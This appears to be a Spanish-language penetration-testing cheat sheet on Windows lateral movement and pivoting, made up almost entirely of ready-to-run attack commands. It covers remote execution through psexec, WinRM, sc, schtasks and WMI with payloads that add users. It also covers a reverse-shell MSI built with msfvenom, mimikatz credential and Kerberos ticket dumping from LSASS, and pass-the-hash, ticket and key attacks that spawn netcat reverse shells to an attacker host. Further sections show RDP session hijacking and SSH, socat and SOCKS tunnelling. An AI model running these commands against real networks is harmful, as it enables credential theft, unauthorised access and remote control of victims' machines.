🦘Movimiento Lateral & Pivoting

Técnicas de movimiento lateral entre una red Windows

Generar Procesos Remotos

Diferentes métodos para generar un proceso de manera remota, permitiendo ejecutar comandos en máquinas para las que se tiene credenciales válidas. Elegir método según la situación específica.

Crear Comando Remoto - Psexec

  • Puerto: 445 - SMB

  • Grupo Requerido: Administrators

Ejecutar comando remoto con psexec
psexec64.exe <IP-remota> -u Administrator -p <pass> -i cmd.exe

Crear Proceso Remoto - WinRM

  • Puertos: 5985/5986 WinRM HTTP/HTTPs

  • Grupo Requerido: Remote Management Users

Conectarse a sesión remota de PowerShell desde cmd
winrs.exe -u:Administrator -p:<pass> -r:<computer-name> cmd

Versión desde PowerShell:

Crear el objeto PSCredential para pasar las credenciales
username = 'Administrator';
$password = '<pass>';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force; 
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
Crear sesión interactiva con el cmdlet Enter-PSSession
Enter-PSSession -Computername <name> -Credential $credentialobject

Otra opción desde Powershell es ejecutar ScriptBlocks de manera remota con WinRM:

Invoke-Command -Computername <name> -Credential $credentialobject -ScriptBlock {whoami}

Crear Servicio Remoto - SC

  • Puertos: 135, 49152-65535 (DCE/RPC) 445, 139 (RPC over SMB Named Pipes)

  • Grupo Requerido: Administrators

Crear e iniciar servicio remoto con sc.exe
sc.exe \\<computer>.<domain> create <service-name> binPath="net user <username> <pass> /add" start= auto
sc. exe \\<computer>.<domain> start <service-name>
Detener y eliminar el servicio
sc.exe \\<computer>.<domain> stop <service-name>
sc.exe \\<computer>.<domain> delete <service-name>

Crear Tarea Programada Remota

Crear y ejecutar tarea programada remota con schtasks
schtasks /s <computer>.<domain> /RU "SYSTEM" /create /tn "<task-name>" /tr "<command/payload-to-execute>" /sc ONCE /sd 01/01/1970 /st 00:00
schtasks /s <computer>.<domain> /run /TN "<task-name>"
Eliminar tarea programada
schtasks /s <computer>.<domain> /TN "<task-name>" /DELETE /F

Movimiento Lateral con WMI

Windows Management Instrumentation, o WMI, permite al administrador realizar tareas de gestión de manera remota, las cuales podemos aprovechar para movernos lateralmente.

  • Puertos: 135, 49152-65535 (DCE/RPC) 5985/5986 (WinRM HTTP/HTTPs)

  • Grupo Requerido: Administrators

Iniciar Sesión WMI desde PowerShell

Crear el objeto PSCredential para pasar las credenciales
$username = 'Administrator';
$password = '<pass>';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
Establecer sesión de WMI y almacenarla en variable $Session
$Opt = New-CimSessionOption -Protocol DCOM # DCOM or Wsman
$Session = New-Cimsession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorAction Stop

Crear Proceso Remoto

Iniciar proceso bajo sesión WMI
$Command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value <some-text>";
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = $Command}

Crear Servicio Remoto

Crear nuevo servicio de manera remota
Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{
Name = "<service-name>";
DisplayName = "<service-name>";
PathName = "net user <new-user> <pass> /add"; # Your payload
ServiceType = [byte]::Parse("16"); # Win32OwnProcess : Start service in a new process
StartMode = "Manual"
}
Crear controlador e iniciar el servicio
$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE '<service-name>'"

Invoke-CimMethod -InputObject $Service -MethodName StartService
Detener y borrar el servicio
Invoke-CimMethod -InputObject $Service -MethodName StopService
Invoke-CimMethod -InputObject $Service -MethodName Delete

Crear Tarea Programada

Crear y ejecutar nueva tarea programada mediante cmdlets
# Payload must be split in Command and Args
$Command = "cmd.exe"
$Args = "/c net user <user> <pass> /add"

$Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command -Argument $Args
Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\\SYSTEM" -TaskName "<task-name>"
Start-ScheduledTask -CimSession $Session -TaskName "<task-name>"
Eliminar tarea programada
Unregister-ScheduledTask -CimSession $Session -TaskName "THMtask2"

Instalar paquetes MSI

Crear instalador .msi malicioso con una reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port>-f msi > myinstaller.msi
Transferir archivo mediante smb al share $admin
smbclient -c 'put myinstaller.msi' -U <username> -W ZA '//<pc-name>.<workgroup>.<domain-name>/admin$/' <pass>
Establecer listener multi handler
use exploit/multi/handler
set lhost <ip>
set lport <port>
set payload windows/x64/shell_reverse_tcp
run
  1. Configurar objeto PSCredential

  2. Iniciar sesión de WMI

Instalar archivo msi en la máquina víctima
Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\\Windows\\<file>.msi"; Options = ""; AllUsers = $false}
Variante de instalación con wmic
wmic /node:<domain-name> /user:<domain>\\<user> product call install PackageLocation=c:\\Windows\\<file>.msi

Abuso de Protocolos de Autenticación con Mimikatz

Ataque Pass-the-Hash (PtH)

EXTRACCIÓN NTLM HASH

Extracción desde el local SAM
mimikatz.exe
privilege::debug
token::elevate
lsadump::sam
Extracción desde memoria LSASS
mimikatz.exe
privilege::debug
token::elevate
sekurlsa::msv

EXPLOTACIÓN - WINDOWS

Establecer listener en máquina atacante
nc -lvnp <port>
Inyectar token de la víctima en una reverse shell
token::revert
sekurlsa::pth /user:<username> /domain:<workgroup>.<domain-name> /ntlm:<hash> /run:"c:\\tools\\nc64.exe -e cmd.exe <ip> <port>"
Generar consola de comandos en PC objetivo con winrs
winrs.exe -r:<computer>.<workgroup>.<domain> cmd

EXPLOTACIÓN - LINUX

Ataque PtH con psexec.py
python3 /opt/impacket/examples/psexec.py -hashes <hash> <workgroup>.<domain-name>/<username>@<ip>

Ataque Pass-the-Ticket (PtT)

Extraer tickets Kerberos desde memoria LSASS (Requiere privs SYSTEM)
mimikatz.exe
privilege::debug
sekurlsa::tickets /export
Inyectar ticket en la sesión actual - Ataque PtT
kerberos::ptt <ticket-kirbi-file>
Comprobar tickets inyectados
klist

Ataque Pass-the-Key (PtK)

Extraer clave de cifrado de Kerberos desde memoria LSASS
mimikatz.exe
privilege::debug
sekurlsa::ekeys
Establecer listener
nc -lvnp <port>

COMANDO SEGÚN ALGORITMO DE LA CLAVE OBTENIDA:

RC4 hash
sekurlsa::pth /user:<username> /domain:<domain> /rc4:<hash> /run:"c:\\tools\\nc64.exe -e cmd.exe <ip> <port>"
AES128 hash
sekurlsa::pth /user:<username> /domain:<domain> /aes128:<hash> /run:"c:\\tools\\nc64.exe -e cmd.exe <ip> <port>"
AES256 hash
sekurlsa::pth /user:<username> /domain:<domain> /aes256:<hash> /run:"c:\\tools\\nc64.exe -e cmd.exe <ip> <port>"

Abuso de Errores del Usuario

Aprovechar errores de configuración o malas prácticas por parte del usuario para ganar mayor acceso a las máquinas dentro de la red.

RDP Hijacking

Solo Windows Server 2016 y anteriores, Windows Server 2019 no permite conectarse a sesiones de otro usuario sin proporcionar la contraseña.

Ejecutar consola de comandos con psexec
PsExec64.exe -s cmd.exe
Enumerar sesiones RDP activas en el servidor
query user
query session
  • Anotamos el SESSIONNAME de la sesión actual y el ID de la sesión a secuestrar.

Secuestro de sesión con tscon
tscon <ID> /dest:<SESSIONNAME>

Port Forwarding

Diferentes técnicas de redireccionamiento de puertos que permiten utilizar una máquina comprometida como "máquina de salto" para pivotar a otras máquinas.

SSH Local Port Forwarding

Redirigir puerto comprometido a puerto atacante
ssh <username>@<ip-a> -L *:<port>:127.0.0.1:<port> -N
Regla de firewall para conexiones al puerto abierto (necesita admin privs)
netsh advfirewall firewall add rule name="<name>" dir=in action=allow protocol=TCP localport=<port>

SSH Remote Port Forwarding

Abrir puerto comprometido y redirigir tráfico a puerto objetivo
ssh <username>@<ip-a> -R <port>:<target-ip>:<port> -N
# ssh user@ip-a -> PC comprometido se conecta por ssh
# -R port:ip:port -> tunel entre dos puertos
# -N -> no se ejecutan comandos, solo se mantiene el tunel
Conexión por RDP a máquina objetivo mediante IP local
xfreerdp /v:127.0.0.1 /u:<username> /p:<pass>

Port Forwarding con Socat

Para situaciones en las que SSH no está disponible podemos utiliazr la herramienta de Socat, pero antes se debe trasnferir el binario a la máquina de salto.

LOCAL PORT FORWARDING

Abrir puerto comprometido y redirigir tráfico a puerto atacante
socat TCP4-LISTEN:<port>,fork TCP4:<ip-a>:<port>
Regla de firewall para conexiones al puerto abierto (necesita admin privs)
netsh advfirewall firewall add rule name="<name>" dir=in action=allow protocol=TCP localport=<port>

REMOTE PORT FORWARDING

Abrir puerto comprometido y redirigir tráfico a puerto objetivo
socat TCP4-LISTEN:<port>,fork TCP4:<target-ip>:<port>

Dynamic Port Forwading con SOCKS

REDIRECCIONAMIENTO DE PUERTOS DINÁMICO INVERSO

Redirigir tráfico por túnel SSH hacia máquina atacante
ssh <username>@<ip-a> -R <port> -N
Configurar puerto adecuado en /etc/proxychains.conf
[ProxyList]
socks4  127.0.0.1 <R-port>
Ejecución de comando a través del proxy SOCKS con proxychains
proxychains curl https://<url.com>

Última actualización